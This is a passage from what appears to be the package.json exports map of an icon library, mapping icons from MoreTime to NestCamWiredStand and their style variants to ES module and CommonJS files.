\"require\": \"./MoreTimeSharp.js\",\n      \"default\": \"./MoreTimeSharp.mjs\"\n    },\n    \"./MoreTimeTwoTone\": {\n      \"import\": \"./MoreTimeTwoTone.mjs\",\n      \"require\": \"./MoreTimeTwoTone.js\",\n      \"default\": \"./MoreTimeTwoTone.mjs\"\n    },\n    \"./MoreTwoTone\": {\n      \"require\": \"./MoreTwoTone.js\",\n      \"import\": \"./MoreTwoTone.mjs\",\n      \"default\": \"./MoreTwoTone.mjs\"\n    },\n    \"./MoreVert\": {\n      \"import\": \"./MoreVert.mjs\",\n      \"require\": \"./MoreVert.js\",\n      \"default\": \"./MoreVert.mjs\"\n    },\n    \"./MoreVertOutlined\": {\n      \"require\": \"./MoreVertOutlined.js\",\n      \"import\": \"./MoreVertOutlined.mjs\",\n      \"default\": \"./MoreVertOutlined.mjs\"\n    },\n    \"./MoreVertRounded\": {\n      \"require\": \"./MoreVertRounded.js\",\n      \"import\": \"./MoreVertRounded.mjs\",\n      \"default\": \"./MoreVertRounded.mjs\"\n    },\n    \"./MoreVertSharp\": {\n      \"import\": \"./MoreVertSharp.mjs\",\n      \"require\": \"./MoreVertSharp.js\",\n      \"default\": \"./MoreVertSharp.mjs\"\n    },\n    \"./MoreVertTwoTone\": {\n      \"import\": \"./MoreVertTwoTone.mjs\",\n      \"require\": \"./MoreVertTwoTone.js\",\n      \"default\": \"./MoreVertTwoTone.mjs\"\n    },\n    \"./Mosque\": {\n      \"import\": \"./Mosque.mjs\",\n      \"require\": \"./Mosque.js\",\n      \"default\": \"./Mosque.mjs\"\n    },\n    \"./MosqueOutlined\": {\n      \"import\": \"./MosqueOutlined.mjs\",\n      \"require\": \"./MosqueOutlined.js\",\n      \"default\": \"./MosqueOutlined.mjs\"\n    },\n    \"./MosqueRounded\": {\n      \"import\": \"./MosqueRounded.mjs\",\n      \"require\": \"./MosqueRounded.js\",\n      \"default\": \"./MosqueRounded.mjs\"\n    },\n    \"./MosqueSharp\": {\n      \"require\": \"./MosqueSharp.js\",\n      \"import\": \"./MosqueSharp.mjs\",\n      \"default\": \"./MosqueSharp.mjs\"\n    },\n    \"./MosqueTwoTone\": {\n      \"require\": \"./MosqueTwoTone.js\",\n      \"import\": \"./MosqueTwoTone.mjs\",\n      \"default\": \"./MosqueTwoTone.mjs\"\n    },\n    \"./MotionPhotosAuto\": {\n      \"require\": \"./MotionPhotosAuto.js\",\n      \"import\": \"./MotionPhotosAuto.mjs\",\n      \"default\": \"./MotionPhotosAuto.mjs\"\n    },\n    \"./MotionPhotosAutoOutlined\": {\n      \"require\": \"./MotionPhotosAutoOutlined.js\",\n      \"import\": \"./MotionPhotosAutoOutlined.mjs\",\n      \"default\": \"./MotionPhotosAutoOutlined.mjs\"\n    },\n    \"./MotionPhotosAutoRounded\": {\n      \"require\": \"./MotionPhotosAutoRounded.js\",\n      \"import\": \"./MotionPhotosAutoRounded.mjs\",\n      \"default\": \"./MotionPhotosAutoRounded.mjs\"\n    },\n    \"./MotionPhotosAutoSharp\": {\n      \"require\": \"./MotionPhotosAutoSharp.js\",\n      \"import\": \"./MotionPhotosAutoSharp.mjs\",\n      \"default\": \"./MotionPhotosAutoSharp.mjs\"\n    },\n    \"./MotionPhotosAutoTwoTone\": {\n      \"require\": \"./MotionPhotosAutoTwoTone.js\",\n      \"import\": \"./MotionPhotosAutoTwoTone.mjs\",\n      \"default\": \"./MotionPhotosAutoTwoTone.mjs\"\n    },\n    \"./MotionPhotosOff\": {\n      \"require\": \"./MotionPhotosOff.js\",\n      \"import\": \"./MotionPhotosOff.mjs\",\n      \"default\": \"./MotionPhotosOff.mjs\"\n    },\n    \"./MotionPhotosOffOutlined\": {\n      \"require\": \"./MotionPhotosOffOutlined.js\",\n      \"import\": \"./MotionPhotosOffOutlined.mjs\",\n      \"default\": \"./MotionPhotosOffOutlined.mjs\"\n    },\n    \"./MotionPhotosOffRounded\": {\n      \"require\": \"./MotionPhotosOffRounded.js\",\n      \"import\": \"./MotionPhotosOffRounded.mjs\",\n      \"default\": \"./MotionPhotosOffRounded.mjs\"\n    },\n    \"./MotionPhotosOffSharp\": {\n      \"require\": \"./MotionPhotosOffSharp.js\",\n      \"import\": \"./MotionPhotosOffSharp.mjs\",\n      \"default\": \"./MotionPhotosOffSharp.mjs\"\n    },\n    \"./MotionPhotosOffTwoTone\": {\n      \"require\": \"./MotionPhotosOffTwoTone.js\",\n      \"import\": \"./MotionPhotosOffTwoTone.mjs\",\n      \"default\": \"./MotionPhotosOffTwoTone.mjs\"\n    },\n    \"./Mouse\": {\n      \"require\": \"./Mouse.js\",\n      \"import\": \"./Mouse.mjs\",\n      \"default\": \"./Mouse.mjs\"\n    },\n    \"./MouseOutlined\": {\n      \"require\": \"./MouseOutlined.js\",\n      \"import\": \"./MouseOutlined.mjs\",\n      \"default\": \"./MouseOutlined.mjs\"\n    },\n    \"./MouseRounded\": {\n      \"require\": \"./MouseRounded.js\",\n      \"import\": \"./MouseRounded.mjs\",\n      \"default\": \"./MouseRounded.mjs\"\n    },\n    \"./MouseSharp\": {\n      \"require\": \"./MouseSharp.js\",\n      \"import\": \"./MouseSharp.mjs\",\n      \"default\": \"./MouseSharp.mjs\"\n    },\n    \"./MouseTwoTone\": {\n      \"require\": \"./MouseTwoTone.js\",\n      \"import\": \"./MouseTwoTone.mjs\",\n      \"default\": \"./MouseTwoTone.mjs\"\n    },\n    \"./MoveDown\": {\n      \"require\": \"./MoveDown.js\",\n      \"import\": \"./MoveDown.mjs\",\n      \"default\": \"./MoveDown.mjs\"\n    },\n    \"./MoveDownOutlined\": {\n      \"require\": \"./MoveDownOutlined.js\",\n      \"import\": \"./MoveDownOutlined.mjs\",\n      \"default\": \"./MoveDownOutlined.mjs\"\n    },\n    \"./MoveDownRounded\": {\n      \"require\": \"./MoveDownRounded.js\",\n      \"import\": \"./MoveDownRounded.mjs\",\n      \"default\": \"./MoveDownRounded.mjs\"\n    },\n    \"./MoveDownSharp\": {\n      \"require\": \"./MoveDownSharp.js\",\n      \"import\": \"./MoveDownSharp.mjs\",\n      \"default\": \"./MoveDownSharp.mjs\"\n    },\n    \"./MoveDownTwoTone\": {\n      \"require\": \"./MoveDownTwoTone.js\",\n      \"import\": \"./MoveDownTwoTone.mjs\",\n      \"default\": \"./MoveDownTwoTone.mjs\"\n    },\n    \"./MoveToInbox\": {\n      \"require\": \"./MoveToInbox.js\",\n      \"import\": \"./MoveToInbox.mjs\",\n      \"default\": \"./MoveToInbox.mjs\"\n    },\n    \"./MoveToInboxOutlined\": {\n      \"require\": \"./MoveToInboxOutlined.js\",\n      \"import\": \"./MoveToInboxOutlined.mjs\",\n      \"default\": \"./MoveToInboxOutlined.mjs\"\n    },\n    \"./MoveToInboxRounded\": {\n      \"require\": \"./MoveToInboxRounded.js\",\n      \"import\": \"./MoveToInboxRounded.mjs\",\n      \"default\": \"./MoveToInboxRounded.mjs\"\n    },\n    \"./MoveToInboxSharp\": {\n      \"require\": \"./MoveToInboxSharp.js\",\n      \"import\": \"./MoveToInboxSharp.mjs\",\n      \"default\": \"./MoveToInboxSharp.mjs\"\n    },\n    \"./MoveToInboxTwoTone\": {\n      \"require\": \"./MoveToInboxTwoTone.js\",\n      \"import\": \"./MoveToInboxTwoTone.mjs\",\n      \"default\": \"./MoveToInboxTwoTone.mjs\"\n    },\n    \"./MoveUp\": {\n      \"require\": \"./MoveUp.js\",\n      \"import\": \"./MoveUp.mjs\",\n      \"default\": \"./MoveUp.mjs\"\n    },\n    \"./MoveUpOutlined\": {\n      \"require\": \"./MoveUpOutlined.js\",\n      \"import\": \"./MoveUpOutlined.mjs\",\n      \"default\": \"./MoveUpOutlined.mjs\"\n    },\n    \"./MoveUpRounded\": {\n      \"require\": \"./MoveUpRounded.js\",\n      \"import\": \"./MoveUpRounded.mjs\",\n      \"default\": \"./MoveUpRounded.mjs\"\n    },\n    \"./MoveUpSharp\": {\n      \"require\": \"./MoveUpSharp.js\",\n      \"import\": \"./MoveUpSharp.mjs\",\n      \"default\": \"./MoveUpSharp.mjs\"\n    },\n    \"./MoveUpTwoTone\": {\n      \"require\": \"./MoveUpTwoTone.js\",\n      \"import\": \"./MoveUpTwoTone.mjs\",\n      \"default\": \"./MoveUpTwoTone.mjs\"\n    },\n    \"./Movie\": {\n      \"require\": \"./Movie.js\",\n      \"import\": \"./Movie.mjs\",\n      \"default\": \"./Movie.mjs\"\n    },\n    \"./MovieCreation\": {\n      \"require\": \"./MovieCreation.js\",\n      \"import\": \"./MovieCreation.mjs\",\n      \"default\": \"./MovieCreation.mjs\"\n    },\n    \"./MovieCreationOutlined\": {\n      \"require\": \"./MovieCreationOutlined.js\",\n      \"import\": \"./MovieCreationOutlined.mjs\",\n      \"default\": \"./MovieCreationOutlined.mjs\"\n    },\n    \"./MovieCreationRounded\": {\n      \"require\": \"./MovieCreationRounded.js\",\n      \"import\": \"./MovieCreationRounded.mjs\",\n      \"default\": \"./MovieCreationRounded.mjs\"\n    },\n    \"./MovieCreationSharp\": {\n      \"require\": \"./MovieCreationSharp.js\",\n      \"import\": \"./MovieCreationSharp.mjs\",\n      \"default\": \"./MovieCreationSharp.mjs\"\n    },\n    \"./MovieCreationTwoTone\": {\n      \"require\": \"./MovieCreationTwoTone.js\",\n      \"import\": \"./MovieCreationTwoTone.mjs\",\n      \"default\": \"./MovieCreationTwoTone.mjs\"\n    },\n    \"./MovieEdit\": {\n      \"require\": \"./MovieEdit.js\",\n      \"import\": \"./MovieEdit.mjs\",\n      \"default\": \"./MovieEdit.mjs\"\n    },\n    \"./MovieFilter\": {\n      \"require\": \"./MovieFilter.js\",\n      \"import\": \"./MovieFilter.mjs\",\n      \"default\": \"./MovieFilter.mjs\"\n    },\n    \"./MovieFilterOutlined\": {\n      \"require\": \"./MovieFilterOutlined.js\",\n      \"import\": \"./MovieFilterOutlined.mjs\",\n      \"default\": \"./MovieFilterOutlined.mjs\"\n    },\n    \"./MovieFilterRounded\": {\n      \"require\": \"./MovieFilterRounded.js\",\n      \"import\": \"./MovieFilterRounded.mjs\",\n      \"default\": \"./MovieFilterRounded.mjs\"\n    },\n    \"./MovieFilterSharp\": {\n      \"require\": \"./MovieFilterSharp.js\",\n      \"import\": \"./MovieFilterSharp.mjs\",\n      \"default\": \"./MovieFilterSharp.mjs\"\n    },\n    \"./MovieFilterTwoTone\": {\n      \"import\": \"./MovieFilterTwoTone.mjs\",\n      \"require\": \"./MovieFilterTwoTone.js\",\n      \"default\": \"./MovieFilterTwoTone.mjs\"\n    },\n    \"./MovieOutlined\": {\n      \"import\": \"./MovieOutlined.mjs\",\n      \"require\": \"./MovieOutlined.js\",\n      \"default\": \"./MovieOutlined.mjs\"\n    },\n    \"./MovieRounded\": {\n      \"import\": \"./MovieRounded.mjs\",\n      \"require\": \"./MovieRounded.js\",\n      \"default\": \"./MovieRounded.mjs\"\n    },\n    \"./MovieSharp\": {\n      \"import\": \"./MovieSharp.mjs\",\n      \"require\": \"./MovieSharp.js\",\n      \"default\": \"./MovieSharp.mjs\"\n    },\n    \"./MovieTwoTone\": {\n      \"import\": \"./MovieTwoTone.mjs\",\n      \"require\": \"./MovieTwoTone.js\",\n      \"default\": \"./MovieTwoTone.mjs\"\n    },\n    \"./Moving\": {\n      \"import\": \"./Moving.mjs\",\n      \"require\": \"./Moving.js\",\n      \"default\": \"./Moving.mjs\"\n    },\n    \"./MovingOutlined\": {\n      \"import\": \"./MovingOutlined.mjs\",\n      \"require\": \"./MovingOutlined.js\",\n      \"default\": \"./MovingOutlined.mjs\"\n    },\n    \"./MovingRounded\": {\n      \"require\": \"./MovingRounded.js\",\n      \"import\": \"./MovingRounded.mjs\",\n      \"default\": \"./MovingRounded.mjs\"\n    },\n    \"./MovingSharp\": {\n      \"require\": \"./MovingSharp.js\",\n      \"import\": \"./MovingSharp.mjs\",\n      \"default\": \"./MovingSharp.mjs\"\n    },\n    \"./MovingTwoTone\": {\n      \"require\": \"./MovingTwoTone.js\",\n      \"import\": \"./MovingTwoTone.mjs\",\n      \"default\": \"./MovingTwoTone.mjs\"\n    },\n    \"./Mp\": {\n      \"require\": \"./Mp.js\",\n      \"import\": \"./Mp.mjs\",\n      \"default\": \"./Mp.mjs\"\n    },\n    \"./MpOutlined\": {\n      \"require\": \"./MpOutlined.js\",\n      \"import\": \"./MpOutlined.mjs\",\n      \"default\": \"./MpOutlined.mjs\"\n    },\n    \"./MpRounded\": {\n      \"require\": \"./MpRounded.js\",\n      \"import\": \"./MpRounded.mjs\",\n      \"default\": \"./MpRounded.mjs\"\n    },\n    \"./MpSharp\": {\n      \"require\": \"./MpSharp.js\",\n      \"import\": \"./MpSharp.mjs\",\n      \"default\": \"./MpSharp.mjs\"\n    },\n    \"./MpTwoTone\": {\n      \"require\": \"./MpTwoTone.js\",\n      \"import\": \"./MpTwoTone.mjs\",\n      \"default\": \"./MpTwoTone.mjs\"\n    },\n    \"./MultilineChart\": {\n      \"require\": \"./MultilineChart.js\",\n      \"import\": \"./MultilineChart.mjs\",\n      \"default\": \"./MultilineChart.mjs\"\n    },\n    \"./MultilineChartOutlined\": {\n      \"require\": \"./MultilineChartOutlined.js\",\n      \"import\": \"./MultilineChartOutlined.mjs\",\n      \"default\": \"./MultilineChartOutlined.mjs\"\n    },\n    \"./MultilineChartRounded\": {\n      \"import\": \"./MultilineChartRounded.mjs\",\n      \"require\": \"./MultilineChartRounded.js\",\n      \"default\": \"./MultilineChartRounded.mjs\"\n    },\n    \"./MultilineChartSharp\": {\n      \"import\": \"./MultilineChartSharp.mjs\",\n      \"require\": \"./MultilineChartSharp.js\",\n      \"default\": \"./MultilineChartSharp.mjs\"\n    },\n    \"./MultilineChartTwoTone\": {\n      \"import\": \"./MultilineChartTwoTone.mjs\",\n      \"require\": \"./MultilineChartTwoTone.js\",\n      \"default\": \"./MultilineChartTwoTone.mjs\"\n    },\n    \"./MultipleStop\": {\n      \"import\": \"./MultipleStop.mjs\",\n      \"require\": \"./MultipleStop.js\",\n      \"default\": \"./MultipleStop.mjs\"\n    },\n    \"./MultipleStopOutlined\": {\n      \"import\": \"./MultipleStopOutlined.mjs\",\n      \"require\": \"./MultipleStopOutlined.js\",\n      \"default\": \"./MultipleStopOutlined.mjs\"\n    },\n    \"./MultipleStopRounded\": {\n      \"import\": \"./MultipleStopRounded.mjs\",\n      \"require\": \"./MultipleStopRounded.js\",\n      \"default\": \"./MultipleStopRounded.mjs\"\n    },\n    \"./MultipleStopSharp\": {\n      \"import\": \"./MultipleStopSharp.mjs\",\n      \"require\": \"./MultipleStopSharp.js\",\n      \"default\": \"./MultipleStopSharp.mjs\"\n    },\n    \"./MultipleStopTwoTone\": {\n      \"import\": \"./MultipleStopTwoTone.mjs\",\n      \"require\": \"./MultipleStopTwoTone.js\",\n      \"default\": \"./MultipleStopTwoTone.mjs\"\n    },\n    \"./Museum\": {\n      \"import\": \"./Museum.mjs\",\n      \"require\": \"./Museum.js\",\n      \"default\": \"./Museum.mjs\"\n    },\n    \"./MuseumOutlined\": {\n      \"import\": \"./MuseumOutlined.mjs\",\n      \"require\": \"./MuseumOutlined.js\",\n      \"default\": \"./MuseumOutlined.mjs\"\n    },\n    \"./MuseumRounded\": {\n      \"import\": \"./MuseumRounded.mjs\",\n      \"require\": \"./MuseumRounded.js\",\n      \"default\": \"./MuseumRounded.mjs\"\n    },\n    \"./MuseumSharp\": {\n      \"require\": \"./MuseumSharp.js\",\n      \"import\": \"./MuseumSharp.mjs\",\n      \"default\": \"./MuseumSharp.mjs\"\n    },\n    \"./MuseumTwoTone\": {\n      \"require\": \"./MuseumTwoTone.js\",\n      \"import\": \"./MuseumTwoTone.mjs\",\n      \"default\": \"./MuseumTwoTone.mjs\"\n    },\n    \"./MusicNote\": {\n      \"require\": \"./MusicNote.js\",\n      \"import\": \"./MusicNote.mjs\",\n      \"default\": \"./MusicNote.mjs\"\n    },\n    \"./MusicNoteOutlined\": {\n      \"require\": \"./MusicNoteOutlined.js\",\n      \"import\": \"./MusicNoteOutlined.mjs\",\n      \"default\": \"./MusicNoteOutlined.mjs\"\n    },\n    \"./MusicNoteRounded\": {\n      \"require\": \"./MusicNoteRounded.js\",\n      \"import\": \"./MusicNoteRounded.mjs\",\n      \"default\": \"./MusicNoteRounded.mjs\"\n    },\n    \"./MusicNoteSharp\": {\n      \"require\": \"./MusicNoteSharp.js\",\n      \"import\": \"./MusicNoteSharp.mjs\",\n      \"default\": \"./MusicNoteSharp.mjs\"\n    },\n    \"./MusicNoteTwoTone\": {\n      \"require\": \"./MusicNoteTwoTone.js\",\n      \"import\": \"./MusicNoteTwoTone.mjs\",\n      \"default\": \"./MusicNoteTwoTone.mjs\"\n    },\n    \"./MusicOff\": {\n      \"require\": \"./MusicOff.js\",\n      \"import\": \"./MusicOff.mjs\",\n      \"default\": \"./MusicOff.mjs\"\n    },\n    \"./MusicOffOutlined\": {\n      \"require\": \"./MusicOffOutlined.js\",\n      \"import\": \"./MusicOffOutlined.mjs\",\n      \"default\": \"./MusicOffOutlined.mjs\"\n    },\n    \"./MusicOffRounded\": {\n      \"require\": \"./MusicOffRounded.js\",\n      \"import\": \"./MusicOffRounded.mjs\",\n      \"default\": \"./MusicOffRounded.mjs\"\n    },\n    \"./MusicOffSharp\": {\n      \"require\": \"./MusicOffSharp.js\",\n      \"import\": \"./MusicOffSharp.mjs\",\n      \"default\": \"./MusicOffSharp.mjs\"\n    },\n    \"./MusicOffTwoTone\": {\n      \"require\": \"./MusicOffTwoTone.js\",\n      \"import\": \"./MusicOffTwoTone.mjs\",\n      \"default\": \"./MusicOffTwoTone.mjs\"\n    },\n    \"./MusicVideo\": {\n      \"import\": \"./MusicVideo.mjs\",\n      \"require\": \"./MusicVideo.js\",\n      \"default\": \"./MusicVideo.mjs\"\n    },\n    \"./MusicVideoOutlined\": {\n      \"import\": \"./MusicVideoOutlined.mjs\",\n      \"require\": \"./MusicVideoOutlined.js\",\n      \"default\": \"./MusicVideoOutlined.mjs\"\n    },\n    \"./MusicVideoRounded\": {\n      \"import\": \"./MusicVideoRounded.mjs\",\n      \"require\": \"./MusicVideoRounded.js\",\n      \"default\": \"./MusicVideoRounded.mjs\"\n    },\n    \"./MusicVideoSharp\": {\n      \"import\": \"./MusicVideoSharp.mjs\",\n      \"require\": \"./MusicVideoSharp.js\",\n      \"default\": \"./MusicVideoSharp.mjs\"\n    },\n    \"./MusicVideoTwoTone\": {\n      \"import\": \"./MusicVideoTwoTone.mjs\",\n      \"require\": \"./MusicVideoTwoTone.js\",\n      \"default\": \"./MusicVideoTwoTone.mjs\"\n    },\n    \"./MyLocation\": {\n      \"import\": \"./MyLocation.mjs\",\n      \"require\": \"./MyLocation.js\",\n      \"default\": \"./MyLocation.mjs\"\n    },\n    \"./MyLocationOutlined\": {\n      \"import\": \"./MyLocationOutlined.mjs\",\n      \"require\": \"./MyLocationOutlined.js\",\n      \"default\": \"./MyLocationOutlined.mjs\"\n    },\n    \"./MyLocationRounded\": {\n      \"import\": \"./MyLocationRounded.mjs\",\n      \"require\": \"./MyLocationRounded.js\",\n      \"default\": \"./MyLocationRounded.mjs\"\n    },\n    \"./MyLocationSharp\": {\n      \"import\": \"./MyLocationSharp.mjs\",\n      \"require\": \"./MyLocationSharp.js\",\n      \"default\": \"./MyLocationSharp.mjs\"\n    },\n    \"./MyLocationTwoTone\": {\n      \"import\": \"./MyLocationTwoTone.mjs\",\n      \"require\": \"./MyLocationTwoTone.js\",\n      \"default\": \"./MyLocationTwoTone.mjs\"\n    },\n    \"./Nat\": {\n      \"import\": \"./Nat.mjs\",\n      \"require\": \"./Nat.js\",\n      \"default\": \"./Nat.mjs\"\n    },\n    \"./NatOutlined\": {\n      \"import\": \"./NatOutlined.mjs\",\n      \"require\": \"./NatOutlined.js\",\n      \"default\": \"./NatOutlined.mjs\"\n    },\n    \"./NatRounded\": {\n      \"import\": \"./NatRounded.mjs\",\n      \"require\": \"./NatRounded.js\",\n      \"default\": \"./NatRounded.mjs\"\n    },\n    \"./NatSharp\": {\n      \"import\": \"./NatSharp.mjs\",\n      \"require\": \"./NatSharp.js\",\n      \"default\": \"./NatSharp.mjs\"\n    },\n    \"./NatTwoTone\": {\n      \"import\": \"./NatTwoTone.mjs\",\n      \"require\": \"./NatTwoTone.js\",\n      \"default\": \"./NatTwoTone.mjs\"\n    },\n    \"./Nature\": {\n      \"import\": \"./Nature.mjs\",\n      \"require\": \"./Nature.js\",\n      \"default\": \"./Nature.mjs\"\n    },\n    \"./NatureOutlined\": {\n      \"import\": \"./NatureOutlined.mjs\",\n      \"require\": \"./NatureOutlined.js\",\n      \"default\": \"./NatureOutlined.mjs\"\n    },\n    \"./NaturePeople\": {\n      \"import\": \"./NaturePeople.mjs\",\n      \"require\": \"./NaturePeople.js\",\n      \"default\": \"./NaturePeople.mjs\"\n    },\n    \"./NaturePeopleOutlined\": {\n      \"import\": \"./NaturePeopleOutlined.mjs\",\n      \"require\": \"./NaturePeopleOutlined.js\",\n      \"default\": \"./NaturePeopleOutlined.mjs\"\n    },\n    \"./NaturePeopleRounded\": {\n      \"import\": \"./NaturePeopleRounded.mjs\",\n      \"require\": \"./NaturePeopleRounded.js\",\n      \"default\": \"./NaturePeopleRounded.mjs\"\n    },\n    \"./NaturePeopleSharp\": {\n      \"import\": \"./NaturePeopleSharp.mjs\",\n      \"require\": \"./NaturePeopleSharp.js\",\n      \"default\": \"./NaturePeopleSharp.mjs\"\n    },\n    \"./NaturePeopleTwoTone\": {\n      \"import\": \"./NaturePeopleTwoTone.mjs\",\n      \"require\": \"./NaturePeopleTwoTone.js\",\n      \"default\": \"./NaturePeopleTwoTone.mjs\"\n    },\n    \"./NatureRounded\": {\n      \"import\": \"./NatureRounded.mjs\",\n      \"require\": \"./NatureRounded.js\",\n      \"default\": \"./NatureRounded.mjs\"\n    },\n    \"./NatureSharp\": {\n      \"import\": \"./NatureSharp.mjs\",\n      \"require\": \"./NatureSharp.js\",\n      \"default\": \"./NatureSharp.mjs\"\n    },\n    \"./NatureTwoTone\": {\n      \"import\": \"./NatureTwoTone.mjs\",\n      \"require\": \"./NatureTwoTone.js\",\n      \"default\": \"./NatureTwoTone.mjs\"\n    },\n    \"./NavigateBefore\": {\n      \"import\": \"./NavigateBefore.mjs\",\n      \"require\": \"./NavigateBefore.js\",\n      \"default\": \"./NavigateBefore.mjs\"\n    },\n    \"./NavigateBeforeOutlined\": {\n      \"import\": \"./NavigateBeforeOutlined.mjs\",\n      \"require\": \"./NavigateBeforeOutlined.js\",\n      \"default\": \"./NavigateBeforeOutlined.mjs\"\n    },\n    \"./NavigateBeforeRounded\": {\n      \"import\": \"./NavigateBeforeRounded.mjs\",\n      \"require\": \"./NavigateBeforeRounded.js\",\n      \"default\": \"./NavigateBeforeRounded.mjs\"\n    },\n    \"./NavigateBeforeSharp\": {\n      \"import\": \"./NavigateBeforeSharp.mjs\",\n      \"require\": \"./NavigateBeforeSharp.js\",\n      \"default\": \"./NavigateBeforeSharp.mjs\"\n    },\n    \"./NavigateBeforeTwoTone\": {\n      \"import\": \"./NavigateBeforeTwoTone.mjs\",\n      \"require\": \"./NavigateBeforeTwoTone.js\",\n      \"default\": \"./NavigateBeforeTwoTone.mjs\"\n    },\n    \"./NavigateNext\": {\n      \"import\": \"./NavigateNext.mjs\",\n      \"require\": \"./NavigateNext.js\",\n      \"default\": \"./NavigateNext.mjs\"\n    },\n    \"./NavigateNextOutlined\": {\n      \"import\": \"./NavigateNextOutlined.mjs\",\n      \"require\": \"./NavigateNextOutlined.js\",\n      \"default\": \"./NavigateNextOutlined.mjs\"\n    },\n    \"./NavigateNextRounded\": {\n      \"import\": \"./NavigateNextRounded.mjs\",\n      \"require\": \"./NavigateNextRounded.js\",\n      \"default\": \"./NavigateNextRounded.mjs\"\n    },\n    \"./NavigateNextSharp\": {\n      \"require\": \"./NavigateNextSharp.js\",\n      \"import\": \"./NavigateNextSharp.mjs\",\n      \"default\": \"./NavigateNextSharp.mjs\"\n    },\n    \"./NavigateNextTwoTone\": {\n      \"require\": \"./NavigateNextTwoTone.js\",\n      \"import\": \"./NavigateNextTwoTone.mjs\",\n      \"default\": \"./NavigateNextTwoTone.mjs\"\n    },\n    \"./Navigation\": {\n      \"require\": \"./Navigation.js\",\n      \"import\": \"./Navigation.mjs\",\n      \"default\": \"./Navigation.mjs\"\n    },\n    \"./NavigationOutlined\": {\n      \"require\": \"./NavigationOutlined.js\",\n      \"import\": \"./NavigationOutlined.mjs\",\n      \"default\": \"./NavigationOutlined.mjs\"\n    },\n    \"./NavigationRounded\": {\n      \"require\": \"./NavigationRounded.js\",\n      \"import\": \"./NavigationRounded.mjs\",\n      \"default\": \"./NavigationRounded.mjs\"\n    },\n    \"./NavigationSharp\": {\n      \"require\": \"./NavigationSharp.js\",\n      \"import\": \"./NavigationSharp.mjs\",\n      \"default\": \"./NavigationSharp.mjs\"\n    },\n    \"./NavigationTwoTone\": {\n      \"require\": \"./NavigationTwoTone.js\",\n      \"import\": \"./NavigationTwoTone.mjs\",\n      \"default\": \"./NavigationTwoTone.mjs\"\n    },\n    \"./NearMe\": {\n      \"require\": \"./NearMe.js\",\n      \"import\": \"./NearMe.mjs\",\n      \"default\": \"./NearMe.mjs\"\n    },\n    \"./NearMeDisabled\": {\n      \"require\": \"./NearMeDisabled.js\",\n      \"import\": \"./NearMeDisabled.mjs\",\n      \"default\": \"./NearMeDisabled.mjs\"\n    },\n    \"./NearMeDisabledOutlined\": {\n      \"require\": \"./NearMeDisabledOutlined.js\",\n      \"import\": \"./NearMeDisabledOutlined.mjs\",\n      \"default\": \"./NearMeDisabledOutlined.mjs\"\n    },\n    \"./NearMeDisabledRounded\": {\n      \"require\": \"./NearMeDisabledRounded.js\",\n      \"import\": \"./NearMeDisabledRounded.mjs\",\n      \"default\": \"./NearMeDisabledRounded.mjs\"\n    },\n    \"./NearMeDisabledSharp\": {\n      \"require\": \"./NearMeDisabledSharp.js\",\n      \"import\": \"./NearMeDisabledSharp.mjs\",\n      \"default\": \"./NearMeDisabledSharp.mjs\"\n    },\n    \"./NearMeDisabledTwoTone\": {\n      \"require\": \"./NearMeDisabledTwoTone.js\",\n      \"import\": \"./NearMeDisabledTwoTone.mjs\",\n      \"default\": \"./NearMeDisabledTwoTone.mjs\"\n    },\n    \"./NearMeOutlined\": {\n      \"require\": \"./NearMeOutlined.js\",\n      \"import\": \"./NearMeOutlined.mjs\",\n      \"default\": \"./NearMeOutlined.mjs\"\n    },\n    \"./NearMeRounded\": {\n      \"require\": \"./NearMeRounded.js\",\n      \"import\": \"./NearMeRounded.mjs\",\n      \"default\": \"./NearMeRounded.mjs\"\n    },\n    \"./NearMeSharp\": {\n      \"require\": \"./NearMeSharp.js\",\n      \"import\": \"./NearMeSharp.mjs\",\n      \"default\": \"./NearMeSharp.mjs\"\n    },\n    \"./NearMeTwoTone\": {\n      \"require\": \"./NearMeTwoTone.js\",\n      \"import\": \"./NearMeTwoTone.mjs\",\n      \"default\": \"./NearMeTwoTone.mjs\"\n    },\n    \"./NearbyError\": {\n      \"require\": \"./NearbyError.js\",\n      \"import\": \"./NearbyError.mjs\",\n      \"default\": \"./NearbyError.mjs\"\n    },\n    \"./NearbyErrorOutlined\": {\n      \"require\": \"./NearbyErrorOutlined.js\",\n      \"import\": \"./NearbyErrorOutlined.mjs\",\n      \"default\": \"./NearbyErrorOutlined.mjs\"\n    },\n    \"./NearbyErrorRounded\": {\n      \"require\": \"./NearbyErrorRounded.js\",\n      \"import\": \"./NearbyErrorRounded.mjs\",\n      \"default\": \"./NearbyErrorRounded.mjs\"\n    },\n    \"./NearbyErrorSharp\": {\n      \"require\": \"./NearbyErrorSharp.js\",\n      \"import\": \"./NearbyErrorSharp.mjs\",\n      \"default\": \"./NearbyErrorSharp.mjs\"\n    },\n    \"./NearbyErrorTwoTone\": {\n      \"import\": \"./NearbyErrorTwoTone.mjs\",\n      \"require\": \"./NearbyErrorTwoTone.js\",\n      \"default\": \"./NearbyErrorTwoTone.mjs\"\n    },\n    \"./NearbyOff\": {\n      \"import\": \"./NearbyOff.mjs\",\n      \"require\": \"./NearbyOff.js\",\n      \"default\": \"./NearbyOff.mjs\"\n    },\n    \"./NearbyOffOutlined\": {\n      \"import\": \"./NearbyOffOutlined.mjs\",\n      \"require\": \"./NearbyOffOutlined.js\",\n      \"default\": \"./NearbyOffOutlined.mjs\"\n    },\n    \"./NearbyOffRounded\": {\n      \"import\": \"./NearbyOffRounded.mjs\",\n      \"require\": \"./NearbyOffRounded.js\",\n      \"default\": \"./NearbyOffRounded.mjs\"\n    },\n    \"./NearbyOffSharp\": {\n      \"import\": \"./NearbyOffSharp.mjs\",\n      \"require\": \"./NearbyOffSharp.js\",\n      \"default\": \"./NearbyOffSharp.mjs\"\n    },\n    \"./NearbyOffTwoTone\": {\n      \"import\": \"./NearbyOffTwoTone.mjs\",\n      \"require\": \"./NearbyOffTwoTone.js\",\n      \"default\": \"./NearbyOffTwoTone.mjs\"\n    },\n    \"./NestCamWiredStand\": {\n      \"import\": \"./NestCamWiredStand.mjs\",\n      \"require\": \"./NestCamWiredStand.js\",\n      \"default\": \"./NestCamWiredStand.mjs\"\n    },\n    \"./NestCamWiredStandOutlined\": {\n      \"import\": \"./NestCamWiredStandOutlined.mjs\",\n      \"require\": \"./NestCamWiredStandOutlined.js\",\n      \"default\": \"./NestCamWiredStandOutlined.mjs\"\n    },\n    \"./NestCamWiredStandRounded\": {\n      \"import\": \"./NestCamWiredStandRounded.mjs\",\n      \"require\": \"./NestCamWiredStandRounded.js\",\n      \"default\": \"./NestCamWiredStandRounded.mjs\"\n    },\n    \"./NestCamWiredStandSharp\": {\n      \"import\": 